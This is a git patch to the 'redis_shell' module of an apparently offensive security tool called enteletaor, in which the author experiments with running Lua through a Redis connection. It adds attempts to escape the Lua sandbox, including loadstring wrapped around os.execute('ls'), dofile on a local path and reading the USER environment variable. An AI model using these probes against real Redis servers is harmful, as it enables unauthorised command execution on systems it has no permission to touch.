From 538a6ed1e76a54c99c2de0ee215ae916bc5337f8 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Wed, 17 Feb 2016 15:47:23 +0100 Subject: [PATCH] removed redis_shell --- enteletaor_lib/modules/redis/redis_shell.py | 23 ++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/enteletaor_lib/modules/redis/redis_shell.py b/enteletaor_lib/modules/redis/redis_shell.py index 06a2c1d..3af03ea 100644 --- a/enteletaor_lib/modules/redis/redis_shell.py +++ b/enteletaor_lib/modules/redis/redis_shell.py @@ -26,10 +26,27 @@ def action_redis_shell(config): # script = con.register_script(lua_script) # con.eval('os.execute("ls")', None) + # script = con.script_load(lua_script) - lua_script = "dofile('/home/parallels/hola.txt')" lua_script = "print('/home/parallels/hola.txt')" lua_script = 'string.find("hello Lua users", "Lua")' - c = con.script_load(lua_script) - con.evalsha(c, 0) \ No newline at end of file + lua_script = "dofile('/home/parallels/hola.txt')" + lua_script = """local code = [[ + os.execute("ls") + ]] + local h = loadstring(code) + return h()""" + # lua_script = """ + # local x = "Hello World" + # local code = string.dump(function() print(x) end) + # local hi = loadstring(code) + # return hi() + # """ + lua_script=""" + return os.getenv"USER" + """ + print(con.eval(lua_script, 0)) + + # c = con.script_load(lua_script) + # con.evalsha(c, 0) \ No newline at end of file